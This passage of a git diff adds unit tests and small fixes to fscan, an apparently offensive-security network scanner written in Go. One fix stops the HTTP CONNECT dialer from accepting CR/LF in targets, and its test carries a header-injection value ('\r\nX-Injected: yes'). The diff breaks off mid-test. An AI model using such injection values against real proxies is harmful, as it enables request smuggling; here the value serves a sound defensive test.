diff --git a/common/debug/stub_test.go b/common/debug/stub_test.go new file mode 100644 index 0000000..6d61988 --- /dev/null +++ b/common/debug/stub_test.go @@ -0,0 +1,11 @@ +//go:build !debug +// +build !debug + +package debug + +import "testing" + +func TestStubStartStop(t *testing.T) { + Start() + Stop() +} diff --git a/common/dns_cache_test.go b/common/dns_cache_test.go new file mode 100644 index 0000000..8968427 --- /dev/null +++ b/common/dns_cache_test.go @@ -0,0 +1,23 @@ +package common + +import "testing" + +func TestDNSCacheResolveIPAndCacheHit(t *testing.T) { + cache := &dnsCache{} + + first, err := cache.ResolveIP("127.0.0.1") + if err != nil { + t.Fatalf("ResolveIP loopback error = %v", err) + } + second, err := cache.ResolveIP("127.0.0.1") + if err != nil { + t.Fatalf("ResolveIP cached loopback error = %v", err) + } + if first != second { + t.Fatal("ResolveIP should return cached address on second lookup") + } + + if _, err := cache.ResolveIP("bad host with spaces"); err == nil { + t.Fatal("ResolveIP should reject an invalid host") + } +} diff --git a/common/globals_test.go b/common/globals_test.go index 3807e81..9c506c4 100644 --- a/common/globals_test.go +++ b/common/globals_test.go @@ -1,6 +1,10 @@ package common -import "testing" +import ( + "errors" + "strings" + "testing" +) func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) { info := &HostInfo{Host: "2001:db8::1", Port: 443} @@ -15,3 +19,49 @@ func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) { t.Fatalf("Target() = %q, want %q", got, want) } } + +func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) { + if GetVersion() == "" { + t.Fatal("GetVersion returned empty string") + } + if !ContainsAny("hello fscan", "none", "scan") { + t.Fatal("ContainsAny should find a matching substring") + } + if ContainsAny("hello fscan", "none", "missing") { + t.Fatal("ContainsAny should return false when nothing matches") + } + + maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5} + if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") { + t.Fatalf("max packet error = %v", maxErr) + } + + rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2} + if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") { + t.Fatalf("rate limit error = %v", rateErr) + } +} + +func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) { + previousConfig := GetGlobalConfig() + previousState := GetGlobalState() + t.Cleanup(func() { + SetGlobalConfig(previousConfig) + SetGlobalState(previousState) + }) + + cfg := NewConfig() + cfg.Network.MaxPacketCount = 1 + state := NewState() + state.IncrementPacketCount() + SetGlobalConfig(cfg) + SetGlobalState(state) + + ok, reason := CanSendPacket() + if ok { + t.Fatal("CanSendPacket should reject when max packet count is reached") + } + if reason == "" { + t.Fatal("CanSendPacket should return a rejection reason") + } +} diff --git a/common/i18n/i18n_test.go b/common/i18n/i18n_test.go new file mode 100644 index 0000000..5170108 --- /dev/null +++ b/common/i18n/i18n_test.go @@ -0,0 +1,37 @@ +package i18n + +import ( + "strings" + "testing" +) + +func TestLanguageLifecycleAndFallbacks(t *testing.T) { + original := GetLanguage() + t.Cleanup(func() { SetLanguage(original) }) + + SetLanguage(LangEN) + if got := GetLanguage(); got != LangEN { + t.Fatalf("language = %q, want %q", got, LangEN) + } + if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" { + t.Fatalf("english text = %q, want translated text", got) + } + if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") { + t.Fatalf("formatted english text = %q, want path included", got) + } + + SetLanguage(LangZH) + if got := GetLanguage(); got != LangZH { + t.Fatalf("language = %q, want %q", got, LangZH) + } + if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" { + t.Fatalf("chinese text = %q, want translated text", got) + } + + if got := GetText("missing_translation_key"); got != "missing_translation_key" { + t.Fatalf("missing GetText = %q, want key", got) + } + if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" { + t.Fatalf("missing Tr = %q, want key", got) + } +} diff --git a/common/initialize_test.go b/common/initialize_test.go new file mode 100644 index 0000000..5c3e6aa --- /dev/null +++ b/common/initialize_test.go @@ -0,0 +1,55 @@ +package common + +import ( + "strings" + "testing" +) + +func TestValidateExclusiveParams(t *testing.T) { + previous := GetFlagVars() + t.Cleanup(func() { flagVars = previous }) + + tests := []struct { + name string + info *HostInfo + flags *FlagVars + wantErr string + }{ + {name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}}, + {name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}}, + {name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}}, + {name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"}, + {name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + flagVars = tt.flags + err := ValidateExclusiveParams(tt.info) + if tt.wantErr == "" { + if err != nil { + t.Fatalf("ValidateExclusiveParams error = %v", err) + } + return + } + if err == nil || !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr) + } + }) + } +} + +func TestCleanupWithoutOutput(t *testing.T) { + oldResultOutput := ResultOutput + oldStdoutWriter := StdoutWriter + t.Cleanup(func() { + ResultOutput = oldResultOutput + StdoutWriter = oldStdoutWriter + }) + + ResultOutput = nil + StdoutWriter = nil + if err := Cleanup(); err != nil { + t.Fatalf("Cleanup error = %v", err) + } +} diff --git a/common/logger_facade_test.go b/common/logger_facade_test.go new file mode 100644 index 0000000..bf91ef9 --- /dev/null +++ b/common/logger_facade_test.go @@ -0,0 +1,63 @@ +package common + +import "testing" + +func preserveLoggerForTest(t *testing.T) { + t.Helper() + + loggerMu.Lock() + oldSilentRefs := silentLoggerRefs + silentLoggerRefs = 0 + resetLoggerLocked() + loggerMu.Unlock() + + t.Cleanup(func() { + loggerMu.Lock() + closeLoggerLocked() + silentLoggerRefs = oldSilentRefs + resetLoggerLocked() + loggerMu.Unlock() + }) +} + +func TestLoggerFacadeSilentLifecycle(t *testing.T) { + preserveLoggerForTest(t) + + previousFlags := GetFlagVars() + previousState := GetGlobalState() + t.Cleanup(func() { + flagVars = previousFlags + SetGlobalState(previousState) + }) + flagVars = &FlagVars{Silent: true, LogLevel: "debug"} + SetGlobalState(NewState()) + + InitLogger() + LogDebug("debug") + LogInfo("info") + LogSuccess("success") + LogVuln("vuln") + LogError("error") + CloseLogger() +} + +func TestPushSilentLoggerReferenceCount(t *testing.T) { + preserveLoggerForTest(t) + + restoreOne := PushSilentLogger() + restoreTwo := PushSilentLogger() + if silentLoggerRefs != 2 { + t.Fatalf("silent refs = %d, want 2", silentLoggerRefs) + } + + restoreOne() + restoreOne() + if silentLoggerRefs != 1 { + t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs) + } + + restoreTwo() + if silentLoggerRefs != 0 { + t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs) + } +} diff --git a/common/logging/logger_test.go b/common/logging/logger_test.go index 2d92b6a..d4b183b 100644 --- a/common/logging/logger_test.go +++ b/common/logging/logger_test.go @@ -2,6 +2,8 @@ package logging import ( "fmt" + "os" + "path/filepath" "strings" "sync" "testing" @@ -160,6 +162,13 @@ func TestLogger_AllLevels(t *testing.T) { wantMsg: "success message", wantPfx: PrefixSuccess, }, + { + name: "Vuln级别", + logFunc: logger.Vuln, + message: "vuln message", + wantMsg: "vuln message", + wantPfx: PrefixVuln, + }, { name: "Error级别", logFunc: logger.Error, @@ -650,3 +659,34 @@ func TestLogger_Initialize(t *testing.T) { t.Logf("✓ Initialize测试通过") } + +func TestLogger_CloseClosesDebugFile(t *testing.T) { + path := filepath.Join(t.TempDir(), "debug.log") + logger := NewLogger(&LoggerConfig{ + Level: LevelAll, + EnableColor: false, + ShowProgress: false, + StartTime: time.Now(), + LevelColors: GetDefaultLevelColors(), + DebugLogFile: path, + }) + if logger.debugFile == nil { + t.Fatal("debug file should be opened") + } + + logger.Info("debug file line") + logger.Close() + if logger.debugFile != nil { + t.Fatal("debug file should be nil after Close") + } + + content, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read debug file: %v", err) + } + if !strings.Contains(string(content), "debug file line") { + t.Fatalf("debug file content = %q", string(content)) + } + + logger.Close() +} diff --git a/common/network_facade_test.go b/common/network_facade_test.go new file mode 100644 index 0000000..fd9d473 --- /dev/null +++ b/common/network_facade_test.go @@ -0,0 +1,52 @@ +package common + +import ( + "context" + "net/http" + "testing" + + "github.com/shadow1ng/fscan/common/proxy" +) + +func TestNetworkFacadeProxyState(t *testing.T) { + t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) }) + proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) + + if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() { + t.Fatal("direct global proxy state should be disabled and reliable") + } + + proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5}) + if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() { + t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5") + } +} + +func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) { + previousConfig := GetGlobalConfig() + previousState := GetGlobalState() + t.Cleanup(func() { + SetGlobalConfig(previousConfig) + SetGlobalState(previousState) + }) + + cfg := NewConfig() + cfg.Network.MaxPacketCount = 1 + state := NewState() + state.IncrementPacketCount() + SetGlobalConfig(cfg) + SetGlobalState(state) + + client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) { + t.Fatal("transport should not be called when packet limit is reached") + return nil, nil + })} + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + + if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil { + t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err) + } +} diff --git a/common/output/stdout_writer_test.go b/common/output/stdout_writer_test.go index 0c73531..88b3055 100644 --- a/common/output/stdout_writer_test.go +++ b/common/output/stdout_writer_test.go @@ -1,6 +1,11 @@ package output -import "testing" +import ( + "bufio" + "bytes" + "encoding/json" + "testing" +) func TestSplitHostPort(t *testing.T) { tests := []struct { @@ -33,3 +38,85 @@ func TestSplitHostPort(t *testing.T) { }) } } + +func TestNewStdoutNDJSONWriter(t *testing.T) { + writer := NewStdoutNDJSONWriter() + if writer == nil || writer.writer == nil { + t.Fatalf("NewStdoutNDJSONWriter = %#v, want initialized writer", writer) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } +} + +func TestStdoutNDJSONWriterWriteResult(t *testing.T) { + var buf bytes.Buffer + writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&buf)} + + result := &ScanResult{ + Type: TypeService, + Target: "[2001:db8::1]:8443", + Status: "OPEN", + Details: map[string]interface{}{ + "port": float64(9443), + "service": "https", + "protocol": "tcp", + "banner": 123, + "title": "admin", + "url": "https://[2001:db8::1]:8443", + "vulnerability": "weak credential", + "username": "admin", + "password": "secret", + "plugin": "webtitle", + "version": "1.2.3", + "os": "linux", + }, + } + + if err := writer.WriteResult(result); err != nil { + t.Fatalf("WriteResult error = %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } + + var rec ndjsonRecord + if err := json.Unmarshal(bytes.TrimSpace(buf.Bytes()), &rec); err != nil { + t.Fatalf("invalid ndjson output %q: %v", buf.String(), err) + } + if rec.Host != "2001:db8::1" || rec.Port != 9443 { + t.Fatalf("host/port = %q/%d", rec.Host, rec.Port) + } + if rec.Service != "https" || rec.Protocol != "tcp" || rec.Banner != "123" || rec.Title != "admin" { + t.Fatalf("flattened fields missing: %#v", rec) + } + if rec.URL != "https://[2001:db8::1]:8443" || rec.Vulnerability != "weak credential" { + t.Fatalf("url/vuln fields missing: %#v", rec) + } + if rec.Username != "admin" || rec.Password != "secret" || rec.Plugin != "webtitle" || rec.Version != "1.2.3" || rec.OS != "linux" { + t.Fatalf("credential/plugin fields missing: %#v", rec) + } +} + +func TestStdoutNDJSONFlattenFallbacks(t *testing.T) { + writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&bytes.Buffer{})} + + rec := writer.flatten(&ScanResult{ + Type: TypeHost, + Target: "2001:db8::1", + Status: "ALIVE", + Details: map[string]interface{}{ + "port": int64(22), + }, + }) + if rec.Host != "2001:db8::1" || rec.Port != 22 { + t.Fatalf("flatten fallback = %#v", rec) + } + + if got, ok := toInt("22"); ok || got != 0 { + t.Fatalf("toInt string = %d/%v, want 0/false", got, ok) + } + if got := strVal(map[string]interface{}{}, "missing"); got != "" { + t.Fatalf("missing strVal = %q, want empty", got) + } +} diff --git a/common/output/writers.go b/common/output/writers.go index 973e12e..114e607 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -38,6 +38,19 @@ func escapeControlChars(s string) string { return b.String() } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + func targetWithPort(target string, port interface{}) string { if port == nil { return target @@ -196,10 +209,8 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { parts = append(parts, service) } if banner != "" { - if len(banner) > 100 { - banner = banner[:100] + "..." - } banner = escapeControlChars(banner) + banner = truncateString(banner, 100) parts = append(parts, banner) } return strings.Join(parts, " ") @@ -745,9 +756,7 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { fingerprints = formatFingerprints(result.Details["fingerprints"]) if b, ok := result.Details["banner"].(string); ok { banner = escapeControlChars(b) - if len(banner) > 100 { - banner = banner[:100] + "..." - } + banner = truncateString(banner, 100) } } target := result.Target diff --git a/common/output/writers_test.go b/common/output/writers_test.go index c9fdedf..e673385 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -9,6 +9,7 @@ import ( "sync" "testing" "time" + "unicode/utf8" ) /* @@ -82,6 +83,94 @@ func TestTargetWithPortIPv6(t *testing.T) { } } +func TestScanResultFormatDetailsAndDefaultManagerConfig(t *testing.T) { + result := &ScanResult{ + Details: map[string]interface{}{ + "service": "ssh", + "port": 22, + "banner": "OpenSSH", + }, + } + got := result.FormatDetails(";", "%s=%v") + want := "banner=OpenSSH;port=22;service=ssh" + if got != want { + t.Fatalf("FormatDetails = %q, want %q", got, want) + } + + empty := (&ScanResult{}).FormatDetails(";", "%s=%v") + if empty != "" { + t.Fatalf("empty FormatDetails = %q, want empty", empty) + } + + cfg := DefaultManagerConfig("out.json", FormatJSON) + if cfg.OutputPath != "out.json" || cfg.Format != FormatJSON { + t.Fatalf("DefaultManagerConfig = %#v", cfg) + } +} + +func TestCSVWriterFormatRecords(t *testing.T) { + writer := &CSVWriter{} + + host := writer.formatHostRecord(&ScanResult{Target: "192.168.1.1"}) + if len(host) != 1 || host[0] != "192.168.1.1" { + t.Fatalf("host record = %#v", host) + } + + port := writer.formatPortRecord(&ScanResult{ + Target: "192.168.1.1", + Details: map[string]interface{}{"port": 22}, + }) + if got, want := strings.Join(port, "|"), "192.168.1.1|22|open"; got != want { + t.Fatalf("port record = %q, want %q", got, want) + } + + longBanner := strings.Repeat("界", 105) + service := writer.formatServiceRecord(&ScanResult{ + Target: "2001:db8::1", + Details: map[string]interface{}{ + "port": 443, + "name": "https", + "version": "1.2.3", + "title": "hello\nworld", + "status": 200, + "server": "nginx\r\nunit", + "fingerprints": []interface{}{"fp1", "", "fp2", 3}, + "banner": longBanner, + }, + }) + if service[0] != "[2001:db8::1]:443" || service[1] != "https" || service[2] != "1.2.3" { + t.Fatalf("service identity fields = %#v", service) + } + if service[3] != "hello\\nworld" || service[4] != "200" || service[5] != "nginx\\r\\nunit" { + t.Fatalf("service text fields = %#v", service) + } + if service[6] != "fp1,fp2" { + t.Fatalf("fingerprints = %q, want fp1,fp2", service[6]) + } + if !utf8.ValidString(service[7]) || len([]rune(service[7])) != 103 || !strings.HasSuffix(service[7], "...") { + t.Fatalf("truncated banner = len %d value %q", len(service[7]), service[7]) + } + + vuln := writer.formatVulnRecord(&ScanResult{ + Target: "http://example.com", + Status: "vulnerable", + Details: map[string]interface{}{"type": "poc"}, + }) + if got, want := strings.Join(vuln, "|"), "http://example.com|poc|vulnerable"; got != want { + t.Fatalf("vuln record = %q, want %q", got, want) + } + + if got := formatFingerprints([]string{"a", "b"}); got != "a,b" { + t.Fatalf("string fingerprints = %q", got) + } + if got := formatFingerprints(123); got != "" { + t.Fatalf("unsupported fingerprints = %q, want empty", got) + } + if writer.GetFormat() != FormatCSV { + t.Fatalf("csv GetFormat = %q", writer.GetFormat()) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/common/output_api_test.go b/common/output_api_test.go new file mode 100644 index 0000000..6c2a574 --- /dev/null +++ b/common/output_api_test.go @@ -0,0 +1,153 @@ +package common + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/shadow1ng/fscan/common/output" +) + +func readTestFile(t *testing.T, path string) string { + t.Helper() + + content, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", path, err) + } + return string(content) +} + +func preserveOutputAPIGlobals(t *testing.T) { + t.Helper() + + globalMu.RLock() + oldConfig := globalConfig + oldState := globalState + globalMu.RUnlock() + + oldFlagVars := flagVars + oldResultOutput := ResultOutput + oldStdoutWriter := StdoutWriter + + t.Cleanup(func() { + if ResultOutput != nil && ResultOutput != oldResultOutput { + _ = ResultOutput.Close() + } + if StdoutWriter != nil && StdoutWriter != oldStdoutWriter { + _ = StdoutWriter.Close() + } + ClearResultCallback() + + globalMu.Lock() + globalConfig = oldConfig + globalState = oldState + globalMu.Unlock() + + flagVars = oldFlagVars + ResultOutput = oldResultOutput + StdoutWriter = oldStdoutWriter + }) + + ClearResultCallback() + flagVars = &FlagVars{} + ResultOutput = nil + StdoutWriter = nil + SetGlobalConfig(NewConfig()) + SetGlobalState(NewState()) +} + +func TestInitOutputValidationAndDefaultExtension(t *testing.T) { + preserveOutputAPIGlobals(t) + + flagVars = &FlagVars{DisableSave: true} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput disable save error = %v", err) + } + if ResultOutput != nil { + t.Fatalf("ResultOutput = %#v, want nil when save is disabled", ResultOutput) + } + + flagVars = &FlagVars{OutputFormat: "txt"} + if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "output file not specified") { + t.Fatalf("missing output error = %v", err) + } + + flagVars = &FlagVars{Outputfile: "out.bad", OutputFormat: "xml"} + if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "invalid output format") { + t.Fatalf("invalid format error = %v", err) + } + + dir := t.TempDir() + t.Chdir(dir) + flagVars = &FlagVars{Outputfile: "result.txt", OutputFormat: "json"} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput json error = %v", err) + } + if ResultOutput == nil { + t.Fatal("ResultOutput should be initialized") + } + if err := SaveResult(&output.ScanResult{ + Time: time.Date(2026, 6, 13, 1, 2, 3, 0, time.UTC), + Type: output.TypeHost, + Target: "127.0.0.1", + Status: "ALIVE", + }); err != nil { + t.Fatalf("SaveResult json error = %v", err) + } + if err := CloseOutput(); err != nil { + t.Fatalf("CloseOutput error = %v", err) + } + if content := readTestFile(t, filepath.Join(dir, "result.json")); !strings.Contains(content, "127.0.0.1") { + t.Fatalf("result.json content = %q, want saved target", content) + } +} + +func TestSaveResultFacadeCallbackAndDisabledSave(t *testing.T) { + preserveOutputAPIGlobals(t) + + cfg := NewConfig() + cfg.Output.DisableSave = true + SetGlobalConfig(cfg) + + flagVars = &FlagVars{DisableSave: true} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput disable save error = %v", err) + } + + called := false + SetResultCallback(func(payload interface{}) { + called = true + data, ok := payload.(map[string]interface{}) + if !ok { + t.Fatalf("callback payload type = %T", payload) + } + if data["type"] != string(output.TypeVuln) || data["target"] != "http://example.com" { + t.Fatalf("callback payload = %#v", data) + } + }) + + if err := SaveResult(nil); err != nil { + t.Fatalf("SaveResult nil error = %v", err) + } + if called { + t.Fatal("nil result should not notify callback") + } + + if err := SaveResult(&output.ScanResult{ + Type: output.TypeVuln, + Target: "http://example.com", + Status: "vulnerable", + Details: map[string]interface{}{"type": "poc"}, + }); err != nil { + t.Fatalf("SaveResult disabled save error = %v", err) + } + if !called { + t.Fatal("callback was not notified") + } + if err := CloseOutput(); err != nil { + t.Fatalf("CloseOutput disabled save error = %v", err) + } +} diff --git a/common/parsers/host_iterator_test.go b/common/parsers/host_iterator_test.go index c2c0f9b..6a0732d 100644 --- a/common/parsers/host_iterator_test.go +++ b/common/parsers/host_iterator_test.go @@ -2,6 +2,7 @@ package parsers import ( "context" + "errors" "os" "reflect" "strings" @@ -103,3 +104,65 @@ func TestHostIteratorReadsLongHostFileLine(t *testing.T) { t.Fatalf("batch = %#v, want long host", batch) } } + +func TestMultiHostSourceAndMatcherCIDR(t *testing.T) { + src := &multiHostSource{sources: []hostSource{ + &singleHostSource{host: "192.168.1.1"}, + &singleHostSource{host: "192.168.1.2"}, + }} + + host, ok, err := src.Next() + if err != nil || !ok || host != "192.168.1.1" { + t.Fatalf("first Next = %q/%v/%v", host, ok, err) + } + host, ok, err = src.Next() + if err != nil || !ok || host != "192.168.1.2" { + t.Fatalf("second Next = %q/%v/%v", host, ok, err) + } + host, ok, err = src.Next() + if err != nil || ok || host != "" { + t.Fatalf("exhausted Next = %q/%v/%v", host, ok, err) + } + if err := src.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } + + matcher := newHostMatcher() + if err := matcher.add("192.168.1.0/30,example.com"); err != nil { + t.Fatalf("matcher add error = %v", err) + } + if !matcher.match("192.168.1.1") || !matcher.match("192.168.1.2") || !matcher.match("example.com") { + t.Fatal("matcher should match CIDR hosts and exact host") + } + if matcher.match("192.168.1.3") || matcher.match("nope.example") { + t.Fatal("matcher matched hosts outside its rules") + } + if err := matcher.add("2001:db8::/126"); err == nil { + t.Fatal("IPv6 CIDR should be rejected by IPv4-only matcher") + } +} + +func TestCloseHostSourcesIgnoresCloseErrors(t *testing.T) { + first := &closeTrackingSource{err: errors.New("close failed")} + second := &closeTrackingSource{} + + closeHostSources([]hostSource{first, second}) + + if !first.closed || !second.closed { + t.Fatalf("sources closed = %v/%v, want both true", first.closed, second.closed) + } +} + +type closeTrackingSource struct { + closed bool + err error +} + +func (s *closeTrackingSource) Next() (string, bool, error) { + return "", false, nil +} + +func (s *closeTrackingSource) Close() error { + s.closed = true + return s.err +} diff --git a/common/parsers/parse_test.go b/common/parsers/parse_test.go index 03aacea..8127c92 100644 --- a/common/parsers/parse_test.go +++ b/common/parsers/parse_test.go @@ -386,6 +386,15 @@ func TestParsePort_PortGroups(t *testing.T) { } } +func TestParsePortGroupsRequireWholeToken(t *testing.T) { + if got := ParsePort("web8080"); len(got) != 0 { + t.Fatalf("ParsePort(web8080) = %v, want empty invalid token", got) + } + if got := ParsePort("web,8080"); len(got) == 0 || got[len(got)-1] != 28018 { + t.Fatalf("ParsePort(web,8080) = %v, want expanded web group", got) + } +} + // TestParsePort_WhitespaceHandling 测试空格处理 func TestParsePort_WhitespaceHandling(t *testing.T) { tests := []struct { diff --git a/common/parsers/parsers.go b/common/parsers/parsers.go index dd7b8b8..dca29eb 100644 --- a/common/parsers/parsers.go +++ b/common/parsers/parsers.go @@ -200,11 +200,14 @@ func parsePortRange(rangeStr string) []int { // expandPortGroups 展开端口组 func expandPortGroups(ports string) string { portGroups := config.GetPortGroups() - result := ports - for group, portList := range portGroups { - result = strings.ReplaceAll(result, group, portList) + parts := strings.Split(ports, ",") + for i, part := range parts { + token := strings.TrimSpace(part) + if portList, ok := portGroups[token]; ok { + parts[i] = portList + } } - return result + return strings.Join(parts, ",") } // ============================================================================= diff --git a/common/progress_manager_test.go b/common/progress_manager_test.go new file mode 100644 index 0000000..e859130 --- /dev/null +++ b/common/progress_manager_test.go @@ -0,0 +1,102 @@ +package common + +import ( + "strings" + "testing" + "time" +) + +func TestProgressTextHelpers(t *testing.T) { + tests := []struct { + name string + in string + want int + }{ + {name: "ascii", in: "abc", want: 3}, + {name: "cjk", in: "中文", want: 4}, + {name: "mixed", in: "a中", want: 3}, + {name: "symbol", in: "★", want: 2}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := displayWidth(tt.in); got != tt.want { + t.Fatalf("displayWidth(%q) = %d, want %d", tt.in, got, tt.want) + } + }) + } + + truncateTests := []struct { + name string + in string + width int + want string + }{ + {name: "exact mixed width", in: "abc中文", width: 5, want: "abc中"}, + {name: "wide char does not fit", in: "中文", width: 1, want: ""}, + {name: "zero width", in: "abc", width: 0, want: ""}, + {name: "negative width", in: "abc", width: -1, want: ""}, + } + for _, tt := range truncateTests { + t.Run(tt.name, func(t *testing.T) { + if got := truncateToWidth(tt.in, tt.width); got != tt.want { + t.Fatalf("truncateToWidth(%q, %d) = %q, want %q", tt.in, tt.width, got, tt.want) + } + }) + } + + if got := stripAnsiCodes("\033[31mred\033[0m plain"); got != "red plain" { + t.Fatalf("stripAnsiCodes removed ANSI = %q, want %q", got, "red plain") + } + if got := stripAnsiCodes("plain"); got != "plain" { + t.Fatalf("stripAnsiCodes plain = %q, want plain", got) + } +} + +func TestFormatDuration(t *testing.T) { + tests := []struct { + name string + in time.Duration + want string + }{ + {name: "seconds", in: 1500 * time.Millisecond, want: "1.5s"}, + {name: "minutes", in: 90 * time.Second, want: "1.5m"}, + {name: "hours", in: 150 * time.Minute, want: "2.5h"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := formatDuration(tt.in); got != tt.want { + t.Fatalf("formatDuration(%s) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} + +func TestConcurrencyMonitorTaskStats(t *testing.T) { + monitor := &ConcurrencyMonitor{} + + if status := monitor.GetConcurrencyStatus(); status != "" { + t.Fatalf("initial status = %q, want empty", status) + } + + monitor.StartPluginTask() + monitor.StartPluginTask() + + active, total := monitor.GetPluginTaskStats() + if active != 2 || total != 2 { + t.Fatalf("stats after start = active %d total %d, want 2/2", active, total) + } + if status := monitor.GetConcurrencyStatus(); !strings.HasSuffix(status, ":2") { + t.Fatalf("status after start = %q, want suffix :2", status) + } + + monitor.FinishPluginTask() + active, total = monitor.GetPluginTaskStats() + if active != 1 || total != 2 { + t.Fatalf("stats after one finish = active %d total %d, want 1/2", active, total) + } + + monitor.FinishPluginTask() + if status := monitor.GetConcurrencyStatus(); status != "" { + t.Fatalf("status after all finish = %q, want empty", status) + } +} diff --git a/common/proxy/httpdialer.go b/common/proxy/httpdialer.go index 6ac91ed..f11fd58 100644 --- a/common/proxy/httpdialer.go +++ b/common/proxy/httpdialer.go @@ -7,6 +7,7 @@ import ( "fmt" "net" "net/http" + "strings" "time" ) @@ -54,6 +55,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( // sendConnectRequest 发送HTTP CONNECT请求 func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error { + if strings.ContainsAny(address, "\r\n") { + return NewProxyError(ErrTypeProtocol, "invalid CONNECT target", ErrCodeHTTPReadRespFailed, nil) + } // 构建CONNECT请求 req := fmt.Sprintf(HTTPConnectRequestFormat, address, address) diff --git a/common/proxy/httpdialer_test.go b/common/proxy/httpdialer_test.go new file mode 100644 index 0000000..da3b3ac --- /dev/null +++ b/common/proxy/httpdialer_test.go @@ -0,0 +1,23 @@ +package proxy + +import ( + "net" + "testing" + "time" +) + +func TestHTTPDialerRejectsConnectTargetWithLineBreak(t *testing.T) { + client, server := net.Pipe() + defer client.Close() + defer server.Close() + + dialer := &httpDialer{ + config: &ProxyConfig{Timeout: time.Second}, + stats: &ProxyStats{}, + } + + err := dialer.sendConnectRequest(client, "example.com:80\r\nX-Injected: yes") + if err == nil { + t.Fatal("sendConnectRequest() error = nil, want invalid target error") + } +} diff --git a/common/runtime_api_test.go b/common/runtime_api_test.go new file mode 100644 index 0000000..11a605b --- /dev/null +++ b/common/runtime_api_test.go @@ -0,0 +1,62 @@ +package common + +import "testing" + +func TestResultCallbackLifecycle(t *testing.T) { + ClearResultCallback() + t.Cleanup(ClearResultCallback) + + called := false + SetResultCallback(func(result interface{}) { + called = true + if result != "payload" { + t.Fatalf("callback payload = %#v", result) + } + }) + + NotifyResult("payload") + if !called { + t.Fatal("callback was not called") + } + + called = false + ClearResultCallback() + NotifyResult("payload") + if called { + t.Fatal("callback should not be called after ClearResultCallback") + } +} + +func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { + state := NewState() + + urls := []string{"http://example.com", "https://example.org"} + state.SetURLs(urls) + if got := state.GetURLs(); len(got) != 2 || got[0] != urls[0] || got[1] != urls[1] { + t.Fatalf("urls = %#v", got) + } + + hostPorts := []string{"127.0.0.1:80", "[::1]:443"} + state.SetHostPorts(hostPorts) + if got := state.GetHostPorts(); len(got) != 2 || got[0] != hostPorts[0] || got[1] != hostPorts[1] { + t.Fatalf("hostPorts = %#v", got) + } + state.ClearHostPorts() + if got := state.GetHostPorts(); got != nil { + t.Fatalf("hostPorts after clear = %#v, want nil", got) + } + + state.SetForwardShellActive(true) + state.SetReverseShellActive(true) + state.SetSocks5ProxyActive(true) + if !state.IsForwardShellActive() || !state.IsReverseShellActive() || !state.IsSocks5ProxyActive() { + t.Fatal("shell/proxy flags should be active") + } + + state.SetForwardShellActive(false) + state.SetReverseShellActive(false) + 